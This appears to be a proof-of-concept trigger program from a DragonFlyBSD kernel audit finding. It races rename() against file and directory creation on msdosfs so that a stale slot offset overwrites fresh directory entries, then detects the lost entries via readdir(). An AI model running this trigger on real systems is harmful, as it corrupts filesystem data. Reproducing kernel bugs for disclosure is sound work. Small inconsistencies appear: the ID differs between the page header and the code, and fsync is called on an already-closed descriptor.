⬢ DragonFlyBSD Kernel Audit
DF-3117 / trigger.c
← back to finding ↓ download raw
/*
 * trigger.c -- DF-3116 PoC: msdosfs_rename() stale de_fndoffset slot
 *              TOCTOU overwrites a concurrently-created dirent.
 *
 * Usage:
 *   trigger renamer <dir> <seconds>        -- R: loop rename(AAA,BBB)
 *   trigger creator <dir> <seconds>        -- C: create X<i>, verify via
 *                                             readdir() (NOT stat(): the
 *                                             namecache would mask the
 *                                             stolen dirent), rotate old.
 *   trigger sweep   <dir> <manifest>       -- readdir dir; every manifest
 *                                             name must be present.
 *
 * Race (Window B, same-directory rename):
 *   vnops:1009  to_diroffset saved while tdvp locked (EJUSTRETURN slot S)
 *   vnops:1127  vn_unlock(tdvp)                 <-- lock window opens
 *   vnops:1128  relookup(fdvp, ...) blocks on the vnode lock
 *               (creator's compat-ncreate vget() wins the lock handoff,
 *                its lookup deterministically picks the SAME first-fit
 *                free slot S, createde writes X_i's dirent at S)
 *   vnops:1186  dp->de_fndoffset = to_diroffset  <-- STALE value restored
 *   vnops:1188  createde() -> DE_EXTERNALIZE at S  <-- clobbers X_i's dirent
 *
 * Detection: readdir() immediately after create+close.  readdir reads
 * on-disk dirents via bread (no namecache), so a stolen dirent shows up
 * as the X<i> name being absent from the directory listing.
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static const char payload[] =
    "DF3116-PAYLOAD-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-xxxxxxxxxxxx\n";

#define MAXLIVE 200

static double
now(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1e9);
}

static int
do_renamer(const char *dir, int seconds)
{
	char a[1100], b[1100];
	double t0, t1;
	long n = 0, ok = 0, err = 0;

	snprintf(a, sizeof(a), "%s/AAA", dir);
	snprintf(b, sizeof(b), "%s/BBB", dir);
	unlink(a);
	unlink(b);
	if (open(a, O_CREAT | O_EXCL | O_WRONLY, 0644) < 0) {
		perror("seed AAA");
		return (1);
	}
	t0 = now();
	t1 = t0;
	while (t1 - t0 < seconds) {
		if (rename(a, b) == 0) {
			ok++;
		} else if (errno != ENOENT) {
			err++;
		}
		if (rename(b, a) == 0) {
			ok++;
		} else if (errno != ENOENT) {
			err++;
		}
		n += 2;
		t1 = now();
	}
	printf("renamer: %ld rename attempts, %ld ok, %ld errors\n", n, ok, err);
	return (err > ok / 2 ? 1 : 0);
}

/*
 * Window A racer: bounce subdirectory <p1>/D between <p1> and <p2>.
 * Every bounce is a cross-parent DIRECTORY rename: doingdirectory &&
 * newparent => doscheckpath() runs with tdvp unlocked (vnops:1045),
 * the stale to_diroffset recorded at vnops:1009 is restored at
 * vnops:1186 long after the lock window, and createde() clobbers
 * whatever dirent now occupies that slot in the target parent.
 */
static int
do_bouncer(const char *p1, const char *p2, int seconds)
{
	char src[1100], dst[1100], old[1100];
	double t0, t1;
	long n = 0, ok = 0, err = 0, made = 0, cleaned = 0;
	int k = 0;

	t0 = now();
	t1 = t0;
	while (t1 - t0 < seconds) {
		snprintf(src, sizeof(src), "%s/D%d", p1, k);
		snprintf(dst, sizeof(dst), "%s/D%d", p2, k);
		if (mkdir(src, 0777) == 0)
			made++;
		if (rename(src, dst) == 0) {
			ok++;
		} else {
			if (err < 5)
				printf("bouncer: rename(%s) failed: %s\n",
				    dst, strerror(errno));
			err++;
		}
		/* bound growth: remove dir entries older than 60 bounces */
		if (k >= 60) {
			snprintf(old, sizeof(old), "%s/D%d", p2, k - 60);
			if (rmdir(old) == 0)
				cleaned++;
		}
		k++;
		n++;
		t1 = now();
	}
	printf("bouncer: %ld cross-parent dir renames, %ld ok, %ld errors, "
	    "%ld mkdirs, %ld cleaned\n", n, ok, err, made, cleaned);
	return ((ok == 0 || err > ok) ? 1 : 0);
}

/*
 * readdir the directory; return 1 if "name" is present.
 * Reads real dirents (buffer cache), bypassing the namecache.
 */
static int
dir_has(const char *dir, const char *name)
{
	DIR *d = opendir(dir);
	struct dirent *de;
	int found = 0;

	if (!d)
		return (-1);
	while ((de = readdir(d)) != NULL) {
		if (strcmp(de->d_name, name) == 0) {
			found = 1;
			break;
		}
	}
	closedir(d);
	return (found);
}

static int
do_creator(const char *dir, int seconds)
{
	char path[1100], name[32], manifest[1100];
	double t0, t1;
	long created = 0, vanished = 0, unlinked = 0, readdirs = 0;
	int i = 0, fd;

	snprintf(manifest, sizeof(manifest), "%s.manifest", dir);
	unlink(manifest);
	t0 = now();
	t1 = t0;
	while (t1 - t0 < seconds) {
		snprintf(name, sizeof(name), "X%d", i);
		snprintf(path, sizeof(path), "%s/%s", dir, name);
		fd = open(path, O_CREAT | O_EXCL | O_WRONLY, 0644);
		if (fd < 0) {
			if (errno == EEXIST) {
				i++;
				continue;
			}
			perror("open X");
			break;
		}
		if (write(fd, payload, sizeof(payload)) != sizeof(payload)) {
			perror("write X");
			close(fd);
			break;
		}
		close(fd);
		created++;

		/*
		 * Nothing has unlinked X<i>: its dirent MUST be visible in
		 * readdir().  Absence == createde() overwrote the slot with
		 * a foreign (stale-slot) entry.
		 */
		if (dir_has(dir, name) == 0) {
			printf("CORRUPTION: dirent for %s vanished after "
			    "successful create #%ld (readdir does not see it)\n",
			    name, created);
			fsync(fd);
			vanished++;
			if (vanished >= 2)
				break;
		}
		readdirs++;

		/* rotate: keep at most MAXLIVE live files */
		if (i >= MAXLIVE) {
			char old[512], oldn[32];
			snprintf(oldn, sizeof(oldn), "X%d", i - MAXLIVE);
			snprintf(old, sizeof(old), "%s/%s", dir, oldn);
			if (unlink(old) == 0) {
				unlinked++;
			} else if (errno == ENOENT) {
				printf("CORRUPTION: %s already gone: its "
				    "dirent was stolen (unlink ENOENT)\n",
				    oldn);
				vanished++;
				if (vanished >= 2)
					break;
			}
		}
		i++;
		t1 = now();
	}
	/* dump the live set for the post-run sweep */
	{
		FILE *m = fopen(manifest, "w");
		int j;

		if (m) {
			for (j = (i > MAXLIVE ? i - MAXLIVE : 0); j < i; j++)
				fprintf(m, "X%d\n", j);
			fclose(m);
		}
	}
	printf("creator: %ld created, %ld vanished, %ld rotated, "
	    "%ld readdirs\n", created, vanished, unlinked, readdirs);
	return ((vanished) ? 42 : 0);
}

static int
do_sweep(const char *dir, const char *manifest)
{
	FILE *m = fopen(manifest, "r");
	char name[64];
	int checked = 0, missing = 0;

	if (!m) {
		perror(manifest);
		return (1);
	}
	while (fgets(name, sizeof(name), m)) {
		name[strcspn(name, "\n")] = 0;
		if (name[0] == 0)
			continue;
		checked++;
		if (dir_has(dir, name) != 1) {
			printf("SWEEP-CORRUPTION: %s in manifest but absent "
			    "from readdir()\n", name);
			missing++;
		}
	}
	fclose(m);
	printf("sweep: %d manifest names checked via readdir, %d missing\n",
	    checked, missing);
	return (missing ? 43 : 0);
}

int
main(int argc, char **argv)
{
	if (argc != 4 && argc != 5) {
		fprintf(stderr, "usage: %s renamer <dir> <sec>\n"
		    "       %s creator <dir> <sec>\n"
		    "       %s sweep <dir> <manifest>\n"
		    "       %s bouncer <p1> <p2> <sec>\n",
		    argv[0], argv[0], argv[0], argv[0]);
		return (2);
	}
	if (!strcmp(argv[1], "renamer"))
		return (do_renamer(argv[2], atoi(argv[3])));
	if (!strcmp(argv[1], "creator"))
		return (do_creator(argv[2], atoi(argv[3])));
	if (!strcmp(argv[1], "sweep"))
		return (do_sweep(argv[2], argv[3]));
	if (!strcmp(argv[1], "bouncer"))
		return (do_bouncer(argv[2], argv[3], atoi(argv[4])));
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return (2);
}